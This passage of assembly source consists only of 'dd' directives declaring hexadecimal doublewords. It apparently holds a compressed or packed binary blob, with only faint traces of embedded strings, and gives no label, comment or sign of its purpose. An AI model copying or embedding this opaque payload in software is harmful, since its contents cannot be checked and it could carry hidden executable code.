20F9208Bh, 15D60282h dd 65AA0C1Fh, 0F28163C0h, 9A47C23h, 60FF6A6Dh, 93FD0380h dd 88906926h, 61E1D554h, 654C2990h, 8C18FC4Ah, 0B445D805h dd 0B2054A34h, 4E040E69h, 0E9091C35h, 50E0D590h, 0E6E88300h dd 0F987A1A9h, 7AB21057h, 747624ADh, 0E106FDA8h, 0DFB15022h dd 0B761554Ah, 37D9CD20h, 4F0AAADh, 0F6800402h, 3C83CE93h dd 660DF543h, 1E0D18Bh, 0D78E0F14h, 0FF1C8B6Bh, 70C56730h dd 0B520AA93h, 0AF146129h, 60BB2515h, 86FB9A82h, 83DD925Bh dd 561A3C5Bh, 5713E89Bh, 15BA2DF0h, 5B8BAC00h, 0C95E453Ah dd 0F4E1017Dh, 5F12DCABh, 55092060h, 50595FC4h, 0B4D93083h dd 30926010h, 74AEC77Dh, 71642F12h, 8AF02130h, 0CCAA018Dh dd 59E4CD65h, 0E96948FCh, 0DF2B1260h, 0B8A735F3h, 641D0759h dd 0B0CAAD6Fh, 0F81A3066h, 0F429DC33h, 0D7B5014h, 59398C51h dd 4C8911C3h, 41801788h, 99A6C351h, 0FC214FBh, 0CB401D81h dd 0D09CA1F8h, 6D9D3117h, 9882528h, 0A2262378h, 2B703016h dd 8E5DA57h, 460ECD8Dh, 0F7D610Ch, 0BF4C0450h, 9A6E3232h dd 0D6E62FC3h, 55468650h, 88C35D1Ch, 1BC46C89h, 0C3554540h dd 65030E18h, 620F16E7h, 917814C1h, 8BA1EA26h, 0F55649FBh dd 102C94C5h, 0C257C882h, 4D61C35Fh, 80CA237Ch, 34C35747h dd 3298B4D6h, 342ADED0h, 1A7D08h, 0B5296050h, 0F8801631h dd 8A969361h, 494DFABFh, 367EAF18h, 3D62F300h, 24C526D3h dd 0E9851029h, 109B4927h dd 0F9320519h, 562C9282h, 14CE90C8h, 391653B9h, 1B2C9191h dd 1830536Eh, 0F1812504h, 0C84A1921h, 14A15831h, 1F7D3D81h dd 0F5BFDB81h, 586D6E6Fh, 27420530h, 0D7C98083h, 2B081E35h dd 4BF2E500h, 410468F0h, 62128201h, 0C0097088h, 0B121E155h dd 29808D0h, 7097B029h, 0DCD1FE00h, 274A2B0h, 0AC6505C3h dd 44C14EBBh, 6F61CA34h, 9C408812h, 3F119103h, 789780D4h dd 22F0EB41h, 4C30065h, 0A6C17A5Eh, 50016259h, 7F9F781h dd 0D0840E10h, 9E220111h, 0E29C819Bh, 0A20F5CFh, 850F408Dh dd 32E7C075h, 104C483Bh, 0C34C1A51h, 103385A1h, 8214DCE9h dd 18114517h, 4A5A8D80h, 6014A848h, 483F8A0Fh, 618970DFh dd 4CC8BC62h, 0B0BE88Ch, 405A0063h, 0A327CEC4h, 4D074182h dd 90D28057h, 15B84DBh, 86250A1h, 8AA643C8h, 1D4674h, 47190CC9h dd 142C0558h, 0F53E7308h, 0A023510h, 9349E9FCh, 3D07B1BAh dd 0FBF8A53Ch, 0AB593E11h, 0FC190C33h, 4F203C24h, 564AE761h dd 45561567h, 87F1B66Fh, 8922C358h, 0D86744h, 3EC35040h dd 89E2D523h, 2A31BD12h, 0B826A750h, 0D30F8C18h, 0C054AA65h dd 64739AB9h, 8DAA502h, 81804984h, 0ABE34AC1h, 28BCB016h dd 246A30FDh, 42F203BEh, 0D7090F49h, 4D9979D2h, 0F1181AD1h dd 0ED783300h, 296CB9C5h, 13E94EBDh, 0AD040413h, 7BA70CF7h dd 0FAB7000Fh, 5D14E281h, 503227F1h, 2AF622F5h, 19467475h dd 0C2EE1400h, 0FE39645h, 38118625h, 2AC564h, 83750CE5h dd 0B69DB5BFh, 505A4812h, 0CE05F36Fh, 0D152CF79h, 5210D3Ah dd 14118504h, 0C15A6104h, 5070127h, 0A6B89287h, 0E07515A4h dd 10C48301h, 0BF499529h, 5DC0AA2Bh, 0F4EC9700h, 0F071AD74h dd 0FC661388h, 88358F5Fh, 0BFFFED3h, 494B89CFh, 8D0B10A0h dd 69A0033Dh, 75F38531h, 45BDD8CEh, 810C0267h, 6FC91069h dd 61652472h, 99F03D69h, 181BF17Eh, 5A2701BFh, 0E579947Ch dd 5CEA2699h, 3D51571h, 23F62107h, 4CE20DAh, 985C60Ch dd 68440033h, 4EA3184Fh, 0B7223496h, 0D88B153Dh, 20C2922Ch dd 2A439220h, 74E2EA4Ah, 65DA4C08h, 2BA765EBh, 2110245Bh dd 36CEA560h, 5B010503h, 840BF68h, 2EBE06B0h, 3A303195h dd 4D8D015Ah, 354B59E5h, 889F8E61h, 9319C116h, 0C583302Ah dd 8564204Eh, 1B8808CEh, 0B04E80CFh, 0A2C82E4h, 800F9CFFh dd 0A652C65h, 8F822D39h, 1AFD05F8h, 0F7401F2Ch, 9D4E52C2h dd 52B1BD3Ch, 542EE607h, 1C74594h, 0E96234DDh, 0A12FA45Ah dd 0C51EA509h, 2084885Ch, 0FA04CEACh, 72D38AF3h, 16557C7Fh dd 24E9D68Bh, 2D43C0F4h, 517613EAh, 0D704C906h, 41341B32h dd 83C01E61h, 2458EFB2h, 1ADECF70h, 0D4404F94h, 0BC9C0A99h dd 0A2145471h, 0F91700BFh, 0B843F847h, 98C10074h, 92FA3006h dd 380CCA8Ch, 0D9E8DDA3h, 6402B95Ah, 81CB3459h, 8CC01D88h dd 2EE70E9h, 5FD8F8A6h, 35610596h, 0E60FC2E5h, 44B31048h dd 0D600140Ah, 6DE194C4h, 5B4EF783h, 30220881h, 0EE95906h dd 24A8002Dh, 684BD370h, 0AB0B4ACFh, 839FF7DAh, 40C6E92Bh dd 4C519AAFh, 18B6816h, 9A16A30Fh, 0FED488FCh, 0ECC7D44Ch dd 0E91D40A5h, 7000E6A4h, 0BB07BBDh, 5A596Eh, 3D2D32FEh dd 4AE6BB44h, 90628C18h, 0ABA66AAh, 3F687C88h, 45528E4h dd 2AAB19C7h, 20A2F149h, 979424F2h, 89F78A89h, 55F16A1Bh dd 697EF7F2h, 0B4115C00h, 0F9B1CD60h, 4C7616C9h, 818C6047h dd 0C71CC4CAh, 3A655ABEh, 454E419Bh, 18FCD1B2h, 9514FD5Ah dd 18432C99h, 683305E9h, 8A9618DAh, 19BDAF73h, 6A783042h dd 45C08CAh, 0C98F0FCEh, 405F6C07h, 6954BDD8h, 0B99B5AB1h dd 39B5310Eh, 52F201FBh, 0BA5001F5h, 634AB8F8h, 9182F66Ah dd 22F33F9h, 48699509h, 0EE0B5615h, 1461B455h, 4D4C1859h dd 18B13060h, 0FF6FF68h, 52469E92h, 89C35A1Ch, 1F455489h dd 0C3524280h, 0C7C2D0h, 0E1816729h, 3B98ADE6h, 21645A99h dd 858B6041h, 0D83B2519h, 0F8C461F8h, 4120275h, 0F61BF9E6h dd 16224C83h, 852201C9h, 0B9CD934Bh, 0F00413C1h, 50E9FE24h dd 2B2F811Ch, 84FB38h, 3725F1E6h, 52E449Ah, 0A8E34664h dd 21B3846Eh, 3DE851F5h, 374000D2h, 0A58143CFh, 0FD90249h dd 5F5ACEBFh, 745A4142h, 24B5B624h, 88521944h, 99001B08h dd 897D61A6h, 0EC3E81FAh, 0E9271325h, 0D1B3C859h, 1C443790h dd 7D8D1329h, 1340D421h, 0C86F8B0Ch, 8E53C01Ah, 0E3015C9Ch dd 8D234B7Eh, 9B692C1Dh, 6924B11Bh, 8904F5B4h, 0C614BD80h dd 0B102442Ch, 106A5B04h, 0DF805753h, 525FDF45h, 17C8F85Ah dd 9559D1A0h, 0BF44665h, 190FE9F9h, 83C9C19Dh, 6086EE59h dd 92506D41h, 460AD149h, 1DC262D7h, 4210110Fh, 5D84F80Ch dd 888C5D24h, 91E80D1Eh, 20D0010h, 6857FFADh, 0A8D81B1Eh dd 3B5D1F40h, 31DCCB88h, 656641B2h, 0B05A0211h, 9D981D5h dd 1770796Ch, 0EF104752h, 0DE46C754h, 10853117h, 8225583h dd 2B8C0F27h, 3DF58782h, 0E38002C8h, 648F6107h, 0D467275Ah dd 0B1601A44h, 8A0DDAA4h, 9B7E60EFh, 15F2FC33h, 4CC2730h dd 4FBF6660h, 45E981D7h, 60610210h, 910A5557h, 0C81D4B2Ch dd 29801C11h, 0D93C2608h, 14671A0Ah, 651793A8h, 0F3293384h dd 26B8322Dh, 25EB9400h, 8A078D69h, 0DB48D2CBh, 6F6580A7h dd 5872B164h, 0DD3190F5h, 588068FFh, 314061F4h, 10860FBFh dd 673F3A6Fh, 0ACFA3190h, 0F2B76607h, 12C41F22h, 4BAFCA40h dd 4F00D334h, 0E6C418D1h, 80364Dh, 4725C1EBh, 36A6154h dd 810F521Bh, 0FA5F8237h, 1ADD5A4Ah, 5AD3E40Ch, 0C0DFC70h dd 686C524Bh, 0D4C9C019h, 0ACEC4BB5h, 3C0F05A4h, 5BFFFEB7h dd 89135DE1h, 0A34B2671h, 0E8E104F5h, 43CB2404h, 0D7C41988h dd 6EFB0680h, 890F2F09h, 7FBA1610h, 62FF6326h, 9DEB222Fh dd 51655AE1h, 61D20CBDh, 7BB11D5Ch, 2A04B1A6h, 5B240A21h dd 1BC8504Bh, 6DDC5CC0h, 0A8FE0290h, 7CB6B463h, 8D14E358h dd 103327EDh, 4531E8Eh, 0A0A62600h, 9A9C0CB6h, 0F38A34C5h dd 0BD039FC0h, 6A294AC1h, 0F9D82310h, 29CC0BD8h, 0CFB11496h dd 0F3F28101h, 88975FC2h, 53FC31FCh, 0D5202E60h, 0D4A184h dd 0B6F15927h, 0D80D83A3h, 0BE6DA01h, 5F615894h, 921D0970h dd 3A6A4E38h, 181423E3h, 8D893816h, 5C526559h, 0E1E0D82Fh dd 2E359910h, 65BDC10Ah, 0A28C0535h, 9D952E33h, 80E2A1C7h dd 0C065E11Ch, 0BD5881EBh, 2A1EB296h, 60D71696h, 36B96693h dd 18E95714h, 258B2512h, 8C820B58h, 78BE530h, 0C80DBD01h dd 9A64FC96h, 0BABBCCh, 0EE9CA00Ch, 0B532D61Ah, 1B0BD2E4h dd 38914BFAh, 0BA15BDA8h, 4809BBFh, 0D3CD8D09h, 5AE7C770h dd 9A4F20A2h, 3ED91B88h, 3740F403h, 1415E7Ah, 504D4920h dd 5FFA6224h, 0B5204004h, 5011369Ah, 2CA8B4Ch, 0E9952301h dd 328EE530h, 0E82414AEh, 0E83BCB4h, 0C0B7EA3h, 2F639180h dd 4C75D21Dh, 9F533828h, 71125520h, 2A64D059h, 0F9CD0B96h dd 0D0056132h, 0E1F736D0h, 0E475B824h, 0C709DD09h, 483911D8h dd 265C7D3Dh, 166AA686h, 8F2EE9CBh, 0C0178849h, 542B0A57h dd 31418CC4h, 80090B8Ah, 93513DE9h, 0DA1814D1h, 0D120ECB0h dd 0CF81021Ch, 4A41E65Ch, 0EEC82F4Ch, 2960820Dh, 9EA8B995h dd 6EEE0296h, 2E4E6127h, 5E7339EDh, 0BD892230h, 3A22E1B9h dd 0D6042989h dd 6F018A0Fh, 191FCD48h, 0BD080CD9h, 1814A52Bh, 85305712h dd 4EDB5A24h, 636FA0B8h, 4DBD3A01h, 5B2256FBh, 9024CFAh dd 15E98D33h, 0F828F123h, 0F1661CFFh, 0D64A2042h, 0C928BAD4h dd 0A5F94B15h, 44D34724h, 2D3E601Bh, 25680531h, 1F9C0588h dd 581B10F5h, 0A7510C2h, 0A99D0104h, 82E9B907h, 54FD7444h dd 1CE95878h, 2940065Ah, 0B58DDBD6h, 0AD48FB1Ah, 28828A0Dh dd 0F360B23Fh, 29DCC8Ah, 72ADBD82h, 0D9C2B1D2h, 7EA21816h dd 66601FD0h, 335281BBh, 2F2225B5h, 0A9957E43h, 0DA52C401h dd 3FEC8154h, 60C82596h, 0DBBF260Fh, 0A5E4CCA5h, 0C4C29FAAh dd 0F5006771h, 0EFF1509Eh, 0B74D00A1h, 0C6349003h, 0C4769262h dd 43BC0F03h, 22F38B61h, 0CF001438h, 0D02B16EBh, 0D1AB17h dd 9D3384FCh, 0DB48D3DFh, 0C0E5B602h, 0B261F86Bh, 11B66ABh dd 30983BCDh, 75DC2F1Ch, 41A6BC17h, 2C809E3Ch, 0F8D7217Bh dd 0C8AE7300h, 65B218FFh, 15590E53h, 8B9D6949h, 5F9D6A5Ah dd 0A2801A91h, 0EB21C78Ah, 819D1000h, 0AD2E48EFh, 0C4CCAC3Dh dd 16159Eh, 234678BFh, 3FF5B02Ah, 5C8BE781h, 559F0D99h dd 0D9FCD991h, 63D1E985h, 23E42F00h, 1757863Bh, 0DB5F6EB9h dd 4B4E8010h, 13F03BA5h, 3359352h, 9BB8DA80h, 0BCBCDA5Ch dd 27048C14h, 68D9D29h, 0CB3978F2h, 1855D82Ch, 18CDDA53h dd 8903C7A8h, 5043FCE5h, 2006B0EBh, 86250CFEh, 0E2465B52h dd 9D4D301Dh, 0D9880900h, 0D7FB2C9Eh, 0D28A73E2h, 0CAFAB194h dd 8100EDF1h, 0D23738CAh, 8C569729h, 94347E6Ah, 0DFA071E7h dd 0B8E27E4Ch, 0FC74E901h, 6AC8B650h, 5C83F420h, 0FEC8AE03h dd 0BA009121h, 3F12E3C9h, 0E1604C50h, 7014F513h, 3A316F9Ah dd 0E075D300h, 5B156357h, 4DF0125Ch, 991D9161h, 4E820531h dd 0E4951C9h, 180968F5h, 2FA583E8h, 9B605380h, 0BB8405CBh dd 4D1AC026h, 0F50B4F97h, 0C4B01D15h, 4AE70020h, 0CA926073h dd 5201DE4Eh, 16AB2681h, 326A61EBh, 1944E82Dh, 547AA31Dh dd 8F3E67C0h, 0E39B2Bh, 90DB726Fh, 30A5BE9Ch, 0F8C44372h dd 0C3130F45h, 0A93EC56Dh, 6A21AC33h, 9D800F58h, 66CA1299h dd 0BA7A796Dh, 3B50756h, 0E1D226BFh, 0D540EB43h, 0FDC170DBh dd 2003C121h, 2F76CFA5h, 1564C764h, 727F3AA7h, 64C4B945h dd 0C13CBD3Eh, 0F170D259h, 0ED017FCh, 0E65B8723h, 282981EAh dd 592E8157h, 2829E441h, 418C3D01h, 28738312h, 44E29368h dd 0B9233830h, 0B60A3BFCh, 1B983D01h, 89435891h, 31301AA2h dd 0AF480ED7h, 49D6DBD9h, 59CE21D4h, 174EEA98h, 3C6F3812h dd 13ABEB28h, 8D3B0CD2h, 0BCE93853h, 0CC1C8C17h, 1EAE43D8h dd 81D9D85h, 4C0F7AF4h, 0F58B0E88h, 0C688161Fh, 0C621FC0Bh dd 0EE80700Bh, 1422EC5Eh, 2AF240DDh, 27ED0912h, 0FD95A58h dd 4790AC03h, 0A541F899h, 9BE00009h, 61928106h, 0DC699431h dd 4A83C4BCh, 4D17C82Ch, 1173A5D4h, 0F6901AA1h, 2127F516h dd 1308DBCh, 1145CDE9h, 170B7F0Ch, 6A7B8B19h, 62171081h dd 9E460587h, 67F2EF17h, 75C48011h, 0FF71B679h, 0C2EDD6A1h dd 86200111h, 0DA0F8103h, 9D673E76h, 444CEDF9h, 0DD217FDDh dd 28BB678h, 869CC981h, 3CC779CAh, 62601D44h, 7C5837F7h dd 8310686h, 80C864DEh, 881A91BDh, 0AEA4022Bh, 0DA2FD212h dd 0B92A11Eh, 0C13343C3h, 2E9834D1h, 0CFABA59h, 128BD9Fh dd 77747621h, 695630B8h, 4833A5B7h, 0FEB020E7h, 4F048A3Ah dd 0FCF2FD2Eh, 0E1D95EC6h, 0D488E8F1h, 2228090Ah, 3B339E05h dd 0C7A64073h, 0AC3EBF0Ah, 3E346673h, 44273D2Dh, 98828C2Ch dd 0B6B97D2Fh, 16079318h, 66E9B4E6h, 0F6DB8C05h, 55F104C3h dd 0AAC619A5h, 52685602h, 3C9CA8B8h, 0DA046A2Ch, 6F771010h dd 0B2B88164h, 10820D6Dh, 868472Dh, 0EC18AC9Bh, 8B0414F3h dd 4F801EF0h, 2F266168h, 326D6FF7h, 6696143h, 286A537Dh dd 85141856h, 0C07575C0h, 64986841h, 0DFDB5B87h, 68862B5Ch dd 0A4684C83h, 0B48092E7h, 9D8B1120h, 5B257E6Dh, 723F0504h dd 152B545Ch, 9303C709h, 0C43B1EFh, 9DF2216Bh, 842568E5h dd 6A622FA9h, 0C5302ADh, 91A4B534h, 6D1417A2h, 97684502h dd 2492A5F7h, 679A390Fh, 2EB00C02h, 66A63275h, 35A1C0DAh dd 2C0C234Eh, 28344DBBh, 8D29C1ABh, 80051BEDh, 0BD2BD0B7h dd 5F2FB928h, 463DF934h, 0A3B87EB9h, 2503FA00h, 0ACFDF871h dd 0EA455C33h, 8039205Eh, 0FC0005A8h, 3AD4DEF8h, 7D3E718h dd 0CAF7510h, 50C99287h, 61E9FCE0h, 35FF641Ch, 15E39027h dd 75EF8326h, 8D618C25h, 1188814Eh, 1A184275h, 0DC277884h dd 0D04DC74h, 6A15B085h, 5780D5B8h, 0FA16E893h, 3DA26ED7h dd 41341A48h, 0B8D5ED25h, 0CA9E014Fh, 86BD80F8h, 0B4226A11h dd 94DF2E15h, 875E4408h, 5F04E873h, 1DA4A1E9h, 0DB3325F9h dd 0E471FC10h, 0C32E7D00h, 8A5BBB87h, 2C00786h, 5A331EA2h dd 7B2560D2h, 3A003E18h, 76F566CAh, 2144EE0h, 0B2C684A1h dd 0C660E873h, 0B14073Fh, 928C8F64h, 8D50E4EEh, 2B977D6Fh dd 844883FBh, 6F224E44h, 0C5007C1Ch, 0B53AABEAh, 0B0BA60AAh dd 31E82750h, 0F2DBB810h, 0FD985E00h, 0A3C06D0Ch, 990DFE61h dd 4B90FEFh, 7D085749h, 317F1697h, 0F02D9726h, 0C0C244Ch dd 1DA481C7h, 8303CFFFh, 415B84Ch, 8BC399A0h, 610CE6A1h dd 5D22C2F8h, 3EB24181h, 83288D38h, 0FFB0A11Bh, 0CD891990h dd 6E2A4F5Dh, 0BF2B129Fh, 11550304h, 1C8074BDh, 174CA6FAh dd 9DDF8700h, 5EBF86D3h, 79060143h, 8A6DC0D7h, 119891EBh dd 8B7FC64Ch, 2A55610h, 52D78100h, 502F4ED9h, 0F89CC93h dd 25E26682h, 8AA0E9FBh, 0BDC32CC6h, 93325C0Fh, 0C0DD8415h dd 743CDF9Dh, 0D8A59680h, 0DE00CA02h, 908B1336h, 4234ACh dd 48352AF5h, 0B9E9C51Dh, 0B89DA09Dh, 0FA55D704h, 81640105h dd 65BB0DF7h, 0BA4A60D4h, 34B6401Ch, 0E8EA8C3Eh, 0EEED0C5Fh dd 58680BFBh, 89F2564Dh, 29220923h, 7837CB6Ch, 6D514C80h dd 544543F3h, 7C77CDh, 22A387FBh, 0B8F103E6h, 0C593E200h dd 6F4461CFh, 36BD0B8Dh, 0DAF92930h, 0F9120A2Eh, 3D84868Fh dd 0E592104h, 0BFF3008h, 0D1E12090h, 0E12C19BCh, 2A79B903h dd 7E150C7Eh, 6EAA47E9h, 2E310345h, 85309B39h, 4500016Eh dd 70656378h, 6F0E6974h, 6E49206Eh, 6D72C266h, 830C8961h dd 0CB656C64h, 202C9873h, 7418CF63h, 0EAF8793Dh, 73F1FB68h dd 77F166F1h, 129F72F5h, 9F761F64h, 7D705E6Ch, 779A73BDh dd 1D2C3469h, 26D86C76h, 0D8676E1Ch, 2E734067h, 0D0B854EEh dd 79FA6BFAh, 0AF675FAh, 0F4040D6Fh, 7028C601h, 6E736080h dd 4C525443h, 0B2FF2B75h, 8F6978EBh, 7A642D46h, 7B6218BAh dd 8A37970h, 62CB696Ch, 6428DAFEh, 42813629h, 0A6DFA156h dd 0BC3DBF3Fh, 431EE625h, 6B630AE8h, 910F4E49h, 554FC264h dd 72503854h, 1DA26F7Fh, 3BD10F16h, 41F3900Fh, 0F3DA1B6h dd 0CA5B1EC8h, 188E8D50h, 0E9411E1Dh, 0E93C85BDh, 12012DC4h dd 0BAE88802h, 9A5DD624h, 0FEFE0E52h, 19B1F851h, 6B3FA824h dd 8BB27622h, 28E71307h, 0B0246616h, 5765D6D9h, 0AFCF1D9h dd 0C4B62125h, 0C2216B78h, 216BC5C4h, 6BE3C4CAh, 0CCC4C621h dd 0C4BA216Bh, 0BE216BD4h, 462ADBC4h, 4071380Ch, 23A258E9h dd 929BD87h, 52953A19h, 631AF50Dh, 8B1B12C9h, 966BD95h dd 0D8F8C281h, 3910956Ah dd 0D5BC958Dh, 3345243h, 0D4C34028h, 39F9893Bh, 768E2924h dd 88550CEDh, 13AA9D8Bh, 0EAD85A62h, 118C65A6h, 0B6215042h dd 0C22254E4h, 2158421Eh, 225CE4C6h, 53DC2ABAh, 0AFB40DEAh dd 0CD056845h, 430C5A26h, 90BA21BEh, 64C2C8C6h, 2AB232B6h dd 62AC120Ah, 790E41Ch, 225B2D9Dh, 240C77CBh, 0CE24406Ah dd 3BA719A5h, 5401C255h, 0ACC1C58Fh, 0EB198757h, 5C0A3E70h dd 2660791h, 59B3A9D8h, 2D008D44h, 68E7872Fh, 10D978Bh dd 81F85B44h, 0AF5F0CC3h, 80701822h, 0B9B30CF4h, 841D1795h dd 17F0245h, 88B4335Dh, 4EC82A5Ah, 716E07B3h, 204A5173h dd 5FF9BF0Fh, 0F2815801h, 3B2957D4h, 0F482A12Ch, 0EB8C8FB8h dd 0BF008A20h, 8B603BB7h, 24DC80C8h, 26361E3h, 43274ED9h dd 89F32DE0h, 32BF1300h, 810DE278h, 0D28202EBh, 860F53A5h dd 0FC66DDE4h, 91B7ED8h, 4924D480h, 59141504h, 0F92FF79Eh dd 8BE30054h, 0AA044F40h, 0EA906DDh, 766DB9A4h, 84E9F212h dd 866202C1h, 0D6FC60h, 224C11B8h, 5979BC46h, 5FC104A5h dd 10AF77C8h, 6303F5DCh, 35A51E0h, 0AAC4E621h, 0C2E01D3Eh dd 437C9BD6h, 6704E20h, 7FA4FA78h, 0B3784871h, 28BD1D81h dd 0E58740C0h, 0F950305Ah, 4E3080A4h, 10D52142h, 3E35012Eh dd 5A533D40h, 73188C56h, 635E397Ah, 0B33D41D6h, 180C76C3h dd 39321304h, 72F330CBh, 94662951h, 2E3B6800h, 2FAD98Ch dd 0D5D3000Dh, 5374E13Fh, 0F552CC06h, 0B2E904ACh, 0EC407778h dd 17E18CDEh, 0D5C05F17h, 4176B003h, 0DC213F43h, 7501AF3Ah dd 0A8A6053Dh, 29189D58h, 719ED31Fh, 120EF000h, 1F0C403Bh dd 0BA5A68h, 7DC2E27Bh, 0FA00EC1Dh, 0A0551519h, 60452146h dd 0AD5B08A1h, 9100ED23h, 996FBF63h, 0AE6E4076h, 76BDE04Ch dd 52C1F879h, 8522E015h, 48B7ED30h, 0C8A0C794h, 1112DF0h dd 0AC458415h, 3E42FD00h, 0F3C2643Dh, 977C2103h, 3F51DE68h dd 420D5948h, 82032BEh, 1D1DECE0h, 0A106C462h, 3A18CC47h dd 293355FFh, 0D5C02121h, 71C1544Eh, 0E76C090h, 0B88E8847h dd 3DC1448h, 0B4E04358h, 710EE272h, 823B3DA7h, 2F064079h dd 0F70EBAA0h, 440E89C3h, 3872766Dh, 471AC1h, 0EF055BB1h dd 673A6AB4h, 9C6B6C28h, 532F10E5h, 0F2CC153Fh, 5519907Eh dd 10661034h, 0F02FBh, 48AE6DECh, 7D9551FFh, 0C15B4E30h dd 0E8FCC7B3h, 74C34828h, 40DF1C85h, 0B1EA24BCh, 0C0CB9F0h dd 7969A62Dh, 2EF08Dh, 2DAA48Eh, 911FDF79h, 326CB0C3h dd 41929A06h, 0EC10512Ch, 163AA99Ch, 78A700DCh, 338D8096h dd 5F5A1589h, 6807C0CEh, 0E09D9C07h, 0C81D94A6h, 0C228A70Ch dd 920621BEh, 5041221Ch, 58C2888Bh, 0A19CD620h, 0AB1E449h dd 32F5CB43h, 93D364D4h, 5156BDA8h, 0C0A90C60h, 14921D7h dd 0E2822BF2h, 4008D673h, 7201450Ch, 0FBD06254h, 21AA4212h dd 19EC2003h, 4C60A08Eh, 0EE580E81h, 120575DEh, 8A14605Fh dd 2F50F246h, 9F7C030h, 7C60EAF0h, 0FE7230DEh, 0A548B4A9h dd 2FFAF900h, 0C9CDD471h, 3D8B0381h, 7E728E02h, 0C2469100h dd 85375F09h, 51040433h, 884AF7CCh, 6898AD04h, 96E12885h dd 940E11C3h, 4100A52h, 0BD022C64h, 0A02D4EC9h, 0EA8BB5C0h dd 7DDD3068h, 5544261h, 95942C03h, 0BC7F9CB6h, 86521C88h dd 0DB16AA0Fh, 79C5E5E3h, 335F9804h, 6700E21h, 10874318h dd 0AF887642h, 26F88A67h, 9CCB15ADh, 0A8D8C63Dh, 0F1E94400h dd 0AA3FBCEDh, 228E932Eh, 0B4950C00h, 47DFAE2h, 9A08DD41h dd 0C2F89071h, 7A13C552h, 24405316h, 240C6CCDh, 75070DD4h dd 40C85D6Bh, 17D88C08h, 58AE5A80h, 78005098h, 0F415AA6Dh dd 0C6616486h, 60304620h, 200FDC31h, 85858111h, 68406EEFh dd 658294B0h, 0DC4B2E90h, 7461001Bh, 28CE268Ch, 29C3F931h dd 5C62F1CBh, 68E0E330h, 400A5480h, 946FCEBAh, 0DA915824h dd 0B30CCF3Ch, 191174A5h, 1A02E600h, 0C063F5EEh, 0E8A098F6h dd 3221CF1Fh, 0EB4302A3h, 0B1BF5098h, 87C73C00h, 1DF752F0h dd 0D8EE4D4Eh, 0D05CEC0Ch, 7D0E9799h, 3E092CC0h, 90EE3400h dd 0AFC366h, 0BFCEF7B6h, 0A6A9AC78h, 25C110F7h, 75CA0031h dd 4AB152C9h, 0E800A593h, 0E0279A8Dh, 0B026D520h, 0A449044Fh dd 0C4914023h, 7208C270h, 0BDDC3068h, 424971FAh, 1A660050h dd 31FCE7B4h, 0C75D1915h, 80710801h, 0B4138021h, 0CB394CCh dd 0C5FE28EFh, 0F6010CC1h, 57E6A972h, 0A841A835h, 4108425Ah dd 2D33C44h, 0B6B75CDAh, 44A43672h, 40156226h, 0A409FC40h dd 87734444h, 71B40E1Ch, 5968A54Ch, 0AD4002Dh, 15F3FCDCh dd 4800E7ECh, 0AFC7FD0Fh, 0A6797C95h, 2B046E8h, 0EE1B02E7h dd 33001CCDh, 8F8802EFh, 80CA3h, 7376D62Bh, 0DEE8D747h dd 7DB42F48h, 0FC75EF00h, 0A34215D9h, 410260BCh, 0F47F379h dd 115D5130h, 180AD39h, 0E1ABD2DCh, 0A483DA75h, 1C401C08h dd 186E80B5h, 0B9C1C428h, 6806BE22h, 3EEE21ADh, 7BAC8029h dd 3D400A3h, 0ADDBB23h, 741E768Ah, 2C012247h, 0E0792678h dd 49837D71h, 0A69CD8DCh, 423DFDA8h, 8CC35E4h, 321D4h dd 22159C20h, 0CB70E224h, 715CEE30h, 51B0FAFFh, 81BEEFD5h dd 64EC6064h, 0EAAA78C3h, 0D03091DDh, 9C24FF10h, 38724401h dd 6CC103DCh, 0A6AE8C74h, 2B546D0h, 0EE1802E4h, 34071CE5h dd 0B1002ECh, 41BDB030h, 0B2787Ch, 8D35D2BEh, 0A5A9E368h dd 1C316A60h, 0FD36B81h, 0F226920h, 76F67A0h, 90128F8h dd 76FADB87h, 51116C46h, 0CA80505Fh, 9D00F538h, 0BA4AA99Fh dd 50DFD1BDh, 8C0EF073h, 9180AC3Eh, 2F88B3D2h, 80B41B87h dd 0F735CF0Eh, 98686C20h, 4A50F434h, 292801E1h, 408140FDh dd 0BE878F10h, 0FC927B1Fh, 0F4198918h, 9C0F59DCh, 41B4401h dd 0E1270299h, 0DACC58EEh, 0A3A89C3Ah, 0D211CDh, 5A9C2201h dd 9D49458h, 97EC234Eh, 0FAA07400h, 6D60A5B7h, 1FEF2671h dd 0B0F300C8h, 0EADD866Fh, 24055B28h, 0EC1BACE7h, 723DE804h dd 154F88Ch, 9FF0DB0h, 67DCCA71h, 0CBACA128h, 99460908h dd 0A62021A4h, 287D1885h, 469C07D5h, 0E4DB2EEFh, 9CC5A93Ah dd 9C2302C0h, 124E7861h, 924476F9h, 98525118h, 2E03C21Ch dd 0FF043640h, 771B674h, 49D4D314h, 0A782401Eh, 9B13EC06h dd 9CC55Ah, 0C047F44Eh, 0CCB5F910h, 62001576h, 5DCDFBAh dd 30DEECE1h, 42D9BD50h, 605CA24Fh, 0FD5109BCh, 0FE44445h dd 2F48A053h, 154AFC41h, 4804414h, 43C0449Ch, 28F5CBh dd 0BDDDF981h, 0EDD0AF78h, 0A6A720C1h, 0D30058B5h, 0B900D5D2h dd 227797B6h, 0B45CBEEh, 0AC5DAA0Eh, 0BD39F882h, 0E110D400h dd 0AB7D802Ch, 46A02901h, 72FD5BC7h, 28014444h, 0DDC0D4D6h dd 0EA7F3183h, 80FEA8AEh, 0A752FF25h, 24C6EE70h, 42490CF9h dd 0B3185A56h, 0EF7CDE10h, 0A125B507h, 78B96011h, 0F0521C8Fh dd 4461B94h, 0FC6AE130h, 309ABE3h, 0BCDEEA10h, 707C1201h dd 3C0ABA20h, 0EDAC5A4Ch, 0A5460768h, 0D1067815h, 0E8BB9Eh dd 7AF32472h, 2AA9DF59h, 0A0A5C0C1h, 28884B0Fh, 3890B9C2h dd 4828E584h, 0B7C142B4h, 0A8400C24h, 124560EDh, 29FC8500h dd 0D2541D99h, 2EAF00FEh, 0BB4A5707h, 4E00B2E0h, 0BA7F0F21h dd 0CD9286h, 24E30BD0h, 0BF4C9E43h, 203DE3Fh, 38C07C3Ah dd 0FD1D6087h, 3C813E5Fh, 3907FEF3h, 0F1018C04h, 30F78AFEh dd 3FF8C842h, 0C1B11018h dd 80C34329h, 0F063484h, 0D38EB7BFh, 59280320h, 784F3F21h dd 0CB04000h, 0F002E1CEh, 61DE001Fh, 9EBB0892h, 10015BA5h dd 39C44001h, 3F4FE0Ch, 0B05A007Ah, 0FFBC210Fh, 96004FCEh dd 0A7A8CB87h, 143B42C9h, 0E08D8262h, 7B7A3900h, 9CC23252h dd 15DCC805h, 74C0A4B6h, 3A8B79h, 0A5311E2Dh, 4ADDEAA1h dd 45120900h, 